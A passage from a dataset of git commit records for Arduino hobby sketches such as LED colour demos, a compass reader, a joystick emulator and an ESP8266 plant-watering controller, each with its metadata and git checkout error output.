red();\n } else if (incomingByte == 'all') {\n all();\n }\n\n}\n\nvoid green() {\n\n digitalWrite(12, HIGH);\n digitalWrite(11, LOW);\n digitalWrite(10, LOW);\n delay(1000);\n\n}\n\nvoid yellow() {\n\n digitalWrite(12, LOW);\n digitalWrite(11, HIGH);\n digitalWrite(10, LOW);\n delay(1000);\n\n}\n\nvoid red() {\n\n digitalWrite(12, LOW);\n digitalWrite(11, LOW);\n digitalWrite(10, HIGH);\n delay(1000);\n\n}\n\nvoid all() {\n\n digitalWrite(12, HIGH);\n digitalWrite(11, HIGH);\n digitalWrite(10, HIGH);\n delay(1000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/djenko.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dba9af8d9a363d3d52d0aba2e95d132043d39b7b","subject":"Create custom_color_array.ino","message":"Create custom_color_array.ino","repos":"marmilicious\/FastLED_examples","old_file":"custom_color_array.ino","new_file":"custom_color_array.ino","new_contents":"\/\/***************************************************************\n\/\/ Example of assigning colors from a custom color array.\n\/\/\n\/\/ Marc Miller, Aug 2018\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\n#define BRIGHTNESS 255\nCRGB leds[NUM_LEDS];\n\nuint8_t colorPick;\n\n\/\/ Custom color array\nCRGB colorArray[] = {\n colorArray[0] = CRGB::Red,\n colorArray[1] = CRGB::Grey,\n colorArray[2] = CRGB::Blue,\n colorArray[3] = CRGB(0,255,0),\n colorArray[4] = CHSV(195,255,255),\n};\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check your baud rate)\n delay(2000); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLOCK_PIN,COLOR_ORDER>(leds, NUM_LEDS); \/\/ ***For strips using Clock.\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN>(leds, NUM_LEDS); \/\/ ***For Clock-less strips.\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n \/\/pick a random color from the custom color array\n colorPick = random8( sizeof(colorArray) \/ sizeof(colorArray[0]) );\n\n for (uint8_t i = 0; i < NUM_LEDS; i++) {\n leds[i] = colorArray[colorPick];\n FastLED.show();\n delay(50);\n fadeToBlackBy(leds, NUM_LEDS, 220);\n }\n \n}\/\/end_main_loop\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'custom_color_array.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2a8ee925e04bb849afb6073d455ca8902d0ecb12","subject":"this should be the right (direction) homing??","message":"this should be the right (direction) homing??\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC4361.ino","new_file":"ArduinoClient\/TMC4361.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"bd6efebc3cf44bac1e2f7cd9c03eb180bb1f3238","subject":"Yep, it's broken. Going to make a clean test version.","message":"Yep, it's broken. Going to make a clean test version.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"31eb3114badae4030a319db834ca461608582efa","subject":"Something is broken. Lots of code commented out. Probably LCD output string formatting.","message":"Something is broken. Lots of code commented out. Probably LCD output string formatting.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fed123368eab57983e678c46ba0935851c795b08","subject":"Initial lightControl","message":"Initial lightControl\n","repos":"Jaidan\/jaidan-hab,Jaidan\/jaidan-hab","old_file":"src\/lightControl\/lightControl.ino","new_file":"src\/lightControl\/lightControl.ino","new_contents":"#include \"radioNode.h\"\n#include \"debounced.h\"\n\n#define GATEWAYID 1;\n\nDebounced lightSwitch = Debounced(4, &switchAction);\nbool enableLight = false;\nconst int HEADER = sizeof(RadioHeader);\n\nvoid setup() {\n Serial.begin(SERIAL_BAUD);\n delay(10)\n RadioNode::setupRadio();\n}\n\nvoid loop() {\n \/\/ read radio for commands\n \/\/ read switch for changes\n lightSwtich.readButton();\n}\n\nvoid switchAction(int state)\n{\n enableLight = !enableLight;\n byte[RF69_MAX_DATA_LEN] data;\n getPacket(data);\n RadioNode::sendData()\n}\n\nvoid getPacket(byte *buff)\n{\n RadioHeader header = (RadioHeader) { NODEID, millis(), LIGHT_STATUS };\n memcpy(buff, &header, HEADER);\n\n LightStatus body = (LightStatus) { enableLight };\n memcpy(&buff[HEADER], &body, sizeof(LightStatus));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/lightControl\/lightControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a7aa9125ba0684796b02b5bdd11b2080c2a1d04","subject":"Initial upload of test test code for MS5803-14BA","message":"Initial upload of test test code for MS5803-14BA\n\nThis code displays pressure and temperature values from the MS5803-14BA\ndetected through its I2C bus on the \"serial monitor\" screen in the\nArduino IDE. Because the MS5803-14BA uses a 3v3 logic, the user should\ntake care to only power the devise with 3v3 (not 5v). CLK and SDA seem\nto work when attached directly to the Arduino, however.\n","repos":"kavi87\/openrov-cockpit,OpenROV\/openrov-cockpit,BrianAdams\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,spiderkeys\/openrov-cockpit,spiderkeys\/openrov-cockpit,johan--\/openrov-cockpit,johan--\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,kavi87\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,BrianAdams\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,kavi87\/openrov-cockpit,spiderkeys\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,johan--\/openrov-cockpit,OpenROV\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,BrianAdams\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,OpenROV\/openrov-cockpit,BrianAdams\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,kavi87\/openrov-cockpit,johan--\/openrov-cockpit,spiderkeys\/openrov-cockpit,spiderkeys\/openrov-cockpit,kavi87\/openrov-cockpit,BrianAdams\/openrov-cockpit,johan--\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit","old_file":"arduino\/Test Code\/Walts_Depth_Sensor_Rev1.ino","new_file":"arduino\/Test Code\/Walts_Depth_Sensor_Rev1.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Test' did not match any file(s) known to git\nerror: pathspec 'Code\/Walts_Depth_Sensor_Rev1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4971c0ecd14459c4b7d01806aa4176856e8b97ed","subject":"Compass library via Adafruit","message":"Compass library via Adafruit\n","repos":"redfern314\/IPD-arduino","old_file":"compass\/compass.ino","new_file":"compass\/compass.ino","new_contents":"\/***************************************************************************\n This is a library example for the HMC5883 magnentometer\/compass\n\n Designed specifically to work with the Adafruit HMC5883 Breakout\n http:\/\/www.adafruit.com\/products\/1746\n \n *** You will also need to install the Adafruit_Sensor library! ***\n\n These displays use I2C to communicate, 2 pins are required to interface.\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit andopen-source hardware by purchasing products\n from Adafruit!\n\n Written by Kevin Townsend for Adafruit Industries with some heading example from\n Love Electronics (loveelectronics.co.uk)\n \n This program is free software: you can redistribute it and\/or modify\n it under the terms of the version 3 GNU General Public License as\n published by the Free Software Foundation.\n \n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n ***************************************************************************\/\n\n#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_HMC5883_U.h>\n\n\/* Assign a unique ID to this sensor at the same time *\/\nAdafruit_HMC5883_Unified mag = Adafruit_HMC5883_Unified(12345);\n\nvoid setup(void) \n{\n Serial.begin(9600);\n\n \/* Initialise the sensor *\/\n if(!mag.begin())\n {\n \/* There was a problem detecting the HMC5883 ... check your connections *\/\n Serial.println(\"Ooops, no HMC5883 detected ... Check your wiring!\");\n while(1);\n }\n}\n\nfloat getHeading() {\n \/* Get a new sensor event *\/ \n sensors_event_t event; \n mag.getEvent(&event);\n \n \/* Display the results (magnetic vector values are in micro-Tesla (uT)) *\/\n Serial.print(\"X: \"); Serial.print(event.magnetic.x); Serial.print(\" \");\n Serial.print(\"Y: \"); Serial.print(event.magnetic.y); Serial.print(\" \");\n Serial.print(\"Z: \"); Serial.print(event.magnetic.z); Serial.print(\" \");Serial.println(\"uT\");\n\n \/\/ Hold the module so that Z is pointing 'up' and you can measure the heading with x&y\n \/\/ Calculate heading when the magnetometer is level, then correct for signs of axis.\n float heading = atan2(event.magnetic.y, event.magnetic.x);\n \n \/\/ Once you have your heading, you must then add your 'Declination Angle', which is the 'Error' of the magnetic field in your location.\n \/\/ Find yours here: http:\/\/www.magnetic-declination.com\/\n \/\/ Mine is: -13* 2' W, which is ~13 Degrees, or (which we need) 0.22 radians\n \/\/ If you cannot find your Declination, comment out these two lines, your compass will be slightly off.\n float declinationAngle = 0.22;\n heading += declinationAngle;\n \n \/\/ Correct for when signs are reversed.\n if(heading < 0)\n heading += 2*PI;\n \n \/\/ Check for wrap due to addition of declination.\n if(heading > 2*PI)\n heading -= 2*PI;\n \n \/\/ Convert radians to degrees for readability.\n float headingDegrees = heading * 180\/M_PI; \n \n return(headingDegrees);\n}\n\nvoid loop(void) \n{\n Serial.print(\"Heading (degrees): \"); Serial.println(getHeading()); \n delay(500);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'compass\/compass.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3527cf3a1c4e4519d6348cd29cbd8a93793db3cf","subject":"Project 4","message":"Project 4\n","repos":"martindisch\/Arduino","old_file":"Project_4\/Project_4.ino","new_file":"Project_4\/Project_4.ino","new_contents":"const int greenLED = 9;\nconst int redLED = 11;\nconst int blueLED = 10;\n\nconst int redSensor = A0;\nconst int greenSensor = A1;\nconst int blueSensor = A2;\n\nint redOut = 0;\nint greenOut = 0;\nint blueOut = 0;\n\nint redIn = 0;\nint greenIn = 0;\nint blueIn = 0;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(greenLED, OUTPUT);\n pinMode(redLED, OUTPUT);\n pinMode(blueLED, OUTPUT);\n}\n\nvoid loop() {\n redIn = analogRead(redSensor);\n delay(5);\n greenIn = analogRead(greenSensor);\n delay(5);\n blueIn = analogRead(blueSensor);\n\n Serial.print(\"Raw sensor values \\t Red: \");\n Serial.print(redIn);\n Serial.print(\"\\t Green: \");\n Serial.print(greenIn);\n Serial.print(\"\\t Blue: \");\n Serial.println(blueIn);\n\n redOut = redIn \/ 4;\n greenOut = greenIn \/ 4;\n blueOut = blueIn \/ 4;\n\n analogWrite(redLED, redOut);\n analogWrite(greenLED, greenOut);\n analogWrite(blueLED, blueOut);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project_4\/Project_4.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1fa3cc8efbe9f11c4e2a9b1c7c5e83512b4811db","subject":"initial commit","message":"initial commit\n","repos":"novakps\/banana_stand,novakps\/banana_stand","old_file":"arduino_firmware\/arduino_firmware.ino","new_file":"arduino_firmware\/arduino_firmware.ino","new_contents":"\n\/*\n *Circuit: Common-anode RGB LED wired like so:\n * Red cathode: digital pin 3\n * Green cathode: digital pin 5\n * blue cathode: digital pin 6\n * anode: +5V\n *\/\n \n #define NL 13\n \n \/\/ pins for the LEDs:\nconst int redPin = 9;\nconst int greenPin = 5;\nconst int bluePin = 6;\n\nconst char SET_COLOR = '#';\n\nchar cmd;\nchar buffer[7];\nchar color_value[3];\nint characters_received;\nint red;\nint green;\nint blue;\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n Serial.println(\"usage: \");\n \/\/ make the pins outputs:\n pinMode(redPin, OUTPUT); \n pinMode(greenPin, OUTPUT); \n pinMode(bluePin, OUTPUT); \n}\n\nvoid loop() {\n if (Serial.available()) {\n char ch = char(Serial.read());\n Serial.print(\"command: \");\n Serial.println(ch);\n \n switch (ch) {\n case SET_COLOR:\n Serial.print(\"set color: \");\n characters_received = Serial.readBytesUntil(NL, buffer, 7);\n if(characters_received==7) {\n Serial.println(buffer);\n \/\/ todo extract method\n color_value[0] = buffer[0];\n color_value[1] = buffer[1];\n color_value[2] = 0; \/\/null-terminate\n red = atoi(color_value);\n Serial.print(\"red: \");\n Serial.println(red);\n Serial.print(\"green: \");\n Serial.println(green);\n Serial.print(\"blue: \");\n Serial.println(blue); \n } else {\n Serial.print(\"Invalid color value:\"); \n Serial.println(color_value);\n }\n \n break;\n default:\n Serial.println(\"invalid command\");\n }\n } \n} \n\n \n \n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_firmware\/arduino_firmware.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1f26b9782e022469f70875b9cccc809b8d24d617","subject":"minor changes to Color Sensor","message":"minor changes to Color Sensor\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Sensor Modules\/Color Sensor\/ColorSensorArduino\/ColorSensorArduino.ino","new_file":"Sensor Modules\/Color Sensor\/ColorSensorArduino\/ColorSensorArduino.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensor' did not match any file(s) known to git\nerror: pathspec 'Modules\/Color' did not match any file(s) known to git\nerror: pathspec 'Sensor\/ColorSensorArduino\/ColorSensorArduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"58b85424551a617ba62d29c27da367b4d4efc67c","subject":"Create chase_target_values_verB.ino","message":"Create chase_target_values_verB.ino","repos":"marmilicious\/FastLED_examples","old_file":"chase_target_values_verB.ino","new_file":"chase_target_values_verB.ino","new_contents":"\/\/ Test of chasing random target values, version B.\n\/\/\n\/\/ Random target values are generated and assigned to random pixels.\n\/\/ Pixel brightness is then increased or decreased toward the target.\n\/\/\n\/\/ This version incorporates a hue shift based on the pixel value.\n\/\/ The high and low color choices can be changed below in the variables.\n\/\/ Saturation is kept at full, but it could also easily be tweaked.\n\/\/\n\/\/ Marc Miller, April 2015\n\/\/---------------------------------------------------------------\n\n#include \"FastLED.h\"\n#define LED_TYPE NEOPIXEL \/\/ *Update to your strip type. NEOPIXEL, APA102, LPD8806, etc..\n#define DATA_PIN 6 \/\/ *Set this to your data pin.\n#define NUM_LEDS 12 \/\/ *Update to the number of pixels in your strip.\n\/\/#define COLOR_ORDER BGR\n#define MASTER_BRIGHTNESS 255\n\nCRGB leds[NUM_LEDS];\nCHSV leds_vu[NUM_LEDS]; \/\/ FastLED array using HSV.\n\nint target[NUM_LEDS]; \/\/ Array to store target brightness values.\nint count;\nint delta;\nint temp;\nint highCutoff = 200;\nint lowCutoff = 30;\n\n\/\/ ***** A few color combinations to try out: *****\nint hue_high = 0; \/\/ red for high values with,\nint hue_low = 96; \/\/ green for low values.\n \/\/ or\n\/\/int hue_high = 96; \/\/ green for high values with,\n\/\/int hue_low = 192; \/\/ purple for low values.\n \/\/ or\n\/\/int hue_high = 84; \/\/ yellow-green for high values.\n\/\/int hue_low = 56; \/\/ orange for low values.\n\n\n\/\/---------------------------------------------------------------\nvoid setup() { \n delay(1500);\n FastLED.addLeds<LED_TYPE,DATA_PIN>(leds, NUM_LEDS);\n FastLED.setBrightness(MASTER_BRIGHTNESS);\n Serial.begin(115200); \/\/ Allows serial output (check baud rate)\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() { \n \/\/ Assign random target values whenever count is zero.\n if (count == 0){\n for (int i=0; i < NUM_LEDS; i++){\n target[random8(NUM_LEDS)] = random8(); \/\/ Pick random pixels, assign random values.\n if (target[i] < lowCutoff){\n target[i] = 0; \/\/ Force low values to clamp to zero.\n }\n }\n count = random8(35,70); \/\/ Pick a new count value.\n Serial.println(\"*New targets assigned!*\");\n }\n\n\n for (int i=0; i < NUM_LEDS; i++){\n \/\/ Check current values against target values.\n if (leds_vu[i].value < target[i]){ \/\/ less then the target, so fade up.\n delta = (leds_vu[i].value - target[i]) \/ 5;\n if (leds_vu[i].value + delta >= target[i]){\n leds_vu[i].value = target[i]; \/\/ limit to target.\n }\n else {\n leds_vu[i].value += delta;\n }\n }\n\n else { \/\/ greater then the target, so fade down.\n delta = ((leds_vu[i].value - target[i])\/8) + 1; \/\/ +1 so delta is always at least 1.\n if (leds_vu[i].value - delta <= target[i]){\n leds_vu[i].value = target[i]; \/\/ limit to target.\n }\n else {\n leds_vu[i].value -= delta;\n }\n }\n if (i == 0){ temp = delta; } \/\/ Save first pixel's delta number to print below.\n\n \/\/ Tweak hue color based on brightness.\n int c_hue = constrain(leds_vu[i].value,lowCutoff,highCutoff);\n leds_vu[i].hue = map(c_hue, lowCutoff, highCutoff, hue_low, hue_high);\n \/\/ map(valueIn, fromLow, fromHigh, toLow, toHigh)\n\n leds_vu[i].saturation = 255; \/\/ Set saturation to full.\n\n \/\/ Copy the HSV leds_vu[] data to the leds[] array.\n leds[i] = leds_vu[i];\n \/\/ FastLED will automatically convert HSV to RGB data. Converting from HSV\n \/\/ to RGB is very fast and also accurate. It is possible to convert from\n \/\/ RGB to HSV, but it is not automatic, not totally acurate, and not as fast.\n\n \/\/ Continously fade target to zero.\n if (target[i] > lowCutoff){\n target[i] -= 2; \/\/ Fade by this ammount.\n }\n else {\n target[i] = 0; \/\/ If target less then lowCutoff, clamp to zero.\n }\n\n }\/\/end of looping over pixels.\n \n FastLED.show(); \/\/ Display the leds[] array.\n\n \/\/ Print out info for led[0] to understand how the numbers are changing.\n Serial.print(\"c: \"); Serial.print(count);\n Serial.print(\"\\t target: \"); Serial.print(target[0]);\n Serial.print(\"\\t leds_vu[0].hue: \"); Serial.print(leds_vu[0].hue);\n Serial.print(\"\\t leds_vu[0].value: \"); Serial.print(leds_vu[0].value);\n Serial.print(\"\\t delta: \"); Serial.println(temp);\n \n count--; \/\/ reduce count by one.\n delay(10);\n \n}\/\/end main loop\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chase_target_values_verB.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"204ccb16e5380e289c4b842e8b779162cadb438f","subject":"Add simple-shift to use a 74HC164 with 8 LEDs","message":"Add simple-shift to use a 74HC164 with 8 LEDs\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"simple-shift\/simple-shift.ino","new_file":"simple-shift\/simple-shift.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"57e1a5f29ad86fbe8865775381b9106f43b9648d","subject":"Revert \"Added buggy Sound Sensor\"","message":"Revert \"Added buggy Sound Sensor\"\n\nThis reverts commit 7c292b2102d95ad7382008a5954522c9bad4a963.\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Sound Sensor\/SoundSensorArduino\/SoundSensorArduino.ino","new_file":"Sound Sensor\/SoundSensorArduino\/SoundSensorArduino.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sound' did not match any file(s) known to git\nerror: pathspec 'Sensor\/SoundSensorArduino\/SoundSensorArduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8f8aed9a6d537a7a3c6dca22130eb15cc2b04eb3","subject":"Create zombo.ino","message":"Create zombo.ino","repos":"brosnanyuen\/zombo.com","old_file":"zombo.ino","new_file":"zombo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/brosnanyuen\/zombo.com.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"5a0ea3d453298efbf1b4be3cbc31a322f167f096","subject":"Fixed up booleans","message":"Fixed up booleans\n","repos":"LeifBloomquist\/JoystickEmulator,LeifBloomquist\/JoystickEmulator","old_file":"Arduino\/JoystickEmulator\/JoystickEmulator.ino","new_file":"Arduino\/JoystickEmulator\/JoystickEmulator.ino","new_contents":"\/\/ C64 Joystick Emulator for the Arduino Nano\n\n#define PIN_UP 2\n#define PIN_DOWN 3\n#define PIN_LEFT 4\n#define PIN_RIGHT 5\n#define PIN_FIRE 6\n#define PIN_LED 13\n\nvoid setup() \n{\n pinMode(PIN_UP, OUTPUT);\n pinMode(PIN_DOWN, OUTPUT);\n pinMode(PIN_LEFT, OUTPUT);\n pinMode(PIN_RIGHT,OUTPUT);\n pinMode(PIN_FIRE, OUTPUT);\n pinMode(PIN_LED, OUTPUT);\n \n digitalWrite(PIN_UP, LOW);\n digitalWrite(PIN_DOWN, LOW);\n digitalWrite(PIN_LEFT, LOW);\n digitalWrite(PIN_RIGHT,LOW);\n digitalWrite(PIN_FIRE, LOW);\n digitalWrite(PIN_LED, LOW);\n \n Serial.begin(57600);\n}\n\nvoid loop() \n{\n \/\/ Wait for a byte\n if (Serial.available()) \n {\n digitalWrite(PIN_LED, HIGH);\n byte inByte = Serial.read();\n doJoystick(inByte); \n digitalWrite(PIN_LED, LOW);\n }\n else\n {\n digitalWrite(PIN_LED, LOW);\n }\n}\n\nvoid doJoystick(byte inByte)\n{\n bool up = false;\n bool down = false;\n bool left = false;\n bool right = false;\n bool fire = false;\n \n if ((inByte | 0xFE) == 0xFE) { up = true; }\n if ((inByte | 0xFD) == 0xFD) { down = true; }\n if ((inByte | 0xFB) == 0xFB) { left = true; }\n if ((inByte | 0xF7) == 0xF7) { right= true; }\n if ((inByte | 0xEF) == 0xEF) { fire = true; }\n \n digitalWrite(PIN_UP, up);\n digitalWrite(PIN_DOWN, down);\n digitalWrite(PIN_LEFT, left);\n digitalWrite(PIN_RIGHT,right);\n digitalWrite(PIN_FIRE, fire); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/JoystickEmulator\/JoystickEmulator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f355f98198035b8c52f728044ee47b70ad86afb5","subject":"Create blink_demo.ino","message":"Create blink_demo.ino","repos":"wilmsn\/sleeplib","old_file":"examples\/blink_demo\/blink_demo.ino","new_file":"examples\/blink_demo\/blink_demo.ino","new_contents":"#define STATUSLED 13\n#define STATUSLED_ON HIGH\n#define STATUSLED_OFF LOW\n\n#include <sleeplib.h>\n\nISR(WDT_vect) { watchdogEvent(); }\n\nvoid setup(void) {\n}\n\nvoid loop(void) {\n digitalWrite(STATUSLED,STATUSLED_ON);\n sleep4ms(1000);\n digitalWrite(STATUSLED,STATUSLED_OFF); \n sleep4ms(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/blink_demo\/blink_demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bd8d371dcc14dd85537f3413913da2057d851835","subject":"init version","message":"init version","repos":"AnsgarSchmidt\/sensomatic,AnsgarSchmidt\/sensomatic,AnsgarSchmidt\/sensomatic,AnsgarSchmidt\/sensomatic","old_file":"knot\/arduino\/plant.ino","new_file":"knot\/arduino\/plant.ino","new_contents":"#include <PubSubClient.h>\n#include <ESP8266WiFi.h>\n#include <Ticker.h>\n#include <DHT.h>\n\n#define DHT_PIN 6\n#define HUMIDIFIER_PIN 5\n#define PUMP_PIN 6\n#define UVLED_PIN 7\n#define FAN_PIN 8\n#define WATERLEVEL_LOW_PIN 9\n#define WATERLEVEL_HIGH_PIN 10\n#define SOIL_MEASURE_PIN A0\n#define DHT_TYPE DHT22\n#define SSID \"XXX\"\n#define SSID_PASSWD \"XXX\"\n#define MQTT_SERVER \"cortex\"\n#define MQTT_CLIENT \"LivingRoomPlantClient\"\n#define TEMP_CAL 23.80\n#define TEMP_MEASURE 22.89\n#define TEMP_DELTA (TEMP_CAL - TEMP_MEASURE)\n#define PRE_HUMIDIFIER_TIMER 0.8\n#define HUMIDIFIER_TIMER 0.7\n#define HUMIDIFIER_TIMER_COUNTS 15\n#define PRE_PUMP_TIMER 1.1\n#define PUMP_TIMER 4.2\n\nWiFiClient espClient;\nPubSubClient mqtt(espClient);\nDHT dht(DHT_PIN, DHT_TYPE);\nTicker prePumpTicker;\nTicker pumpTicker;\nTicker preHumidifyTicker;\nTicker humidifyTicker;\nchar msg[500];\nuint64_t counter = 0;\nuint8_t humcounter = 0;\nfloat airtemp = 0.0;\nfloat humidity = 0.0;\nbool highwatermark = false;\nbool lowwatermark = false;\nfloat soil = 0.0;\nbool humidifieron = false;\n\nvoid setup() {\n Serial.begin(115200);\n pinMode( HUMIDIFIER_PIN, OUTPUT );\n digitalWrite(HUMIDIFIER_PIN, true ); \n setup_wifi();\n delay(100);\n mqtt.setServer(MQTT_SERVER, 1883);\n mqtt.setCallback(callback);\n mqttConnector();\n delay(100);\n \/\/dht.begin();\n}\n\nvoid setup_wifi() {\n delay(100);\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(SSID);\n\n WiFi.begin(SSID, SSID_PASSWD);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println();\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nvoid PreHumidifier(){\n Serial.println(\"PreHumidifier\");\n preHumidifyTicker.attach(PRE_HUMIDIFIER_TIMER, HumidifierOn);\n}\n\nvoid HumidifierOn(){\n Serial.println(\"HumidifierON\");\n preHumidifyTicker.detach();\n humcounter = HUMIDIFIER_TIMER_COUNTS;\n humidifyTicker.attach(HUMIDIFIER_TIMER, HumidifierToggle);\n}\n\nvoid HumidifierToggle(){\n if(humcounter--){\n if(humidifieron){\n Serial.println(\"Humi OFF\");\n humidifieron = false;\n digitalWrite(HUMIDIFIER_PIN, true); \n }else{\n Serial.println(\"Humi ON\");\n digitalWrite(HUMIDIFIER_PIN, false); \n humidifieron = true;\n }\n }else{\n Serial.println(\"Switching Humidity Timer OFF\");\n humidifyTicker.detach();\n humidifieron = false; \n digitalWrite(HUMIDIFIER_PIN, true); \n } \n}\n\nvoid PrePump(){\n Serial.print(\"PrePump\");\n prePumpTicker.attach(PRE_PUMP_TIMER, PumpOn);\n}\n\nvoid PumpOn(){\n Serial.print(\"PumpON\");\n prePumpTicker.detach();\n pumpTicker.attach(PUMP_TIMER, PumpOff);\n}\n\nvoid PumpOff(){\n Serial.print(\"PumpOFF\");\n pumpTicker.detach();\n}\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n String s = String(topic);\n char vchar[50];\n Serial.print(\"Message arrived [\");\n Serial.print(topic);\n Serial.print(\"] \");\n for (uint8_t i = 0; i < length; i++) {\n vchar[i] = payload[i];\n }\n vchar[length] = '\\0';\n Serial.println(vchar);\n double dval = atof(vchar);\n \n if (String(\"livingroom\/humidifier\") == s){\n Serial.print(\"Humidify\");\n PreHumidifier();\n }\n\n if (String(\"livingroom\/plant\/water\") == s){\n Serial.print(\"Water\");\n PrePump();\n }\n \n}\n\nvoid mqttConnector() {\n while (!mqtt.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n if (mqtt.connect(MQTT_CLIENT)) {\n Serial.println(\"connected\");\n snprintf(msg, sizeof(msg), \"%ld\", millis());\n mqtt.publish(\"livingroom\/plant\/online\", msg);\n mqtt.subscribe(\"livingroom\/humidifier\");\n mqtt.subscribe(\"livingroom\/plant\/water\");\n mqtt.subscribe(\"livingroom\/plant\/light\");\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(mqtt.state());\n Serial.println(\" try again in 5 seconds\");\n 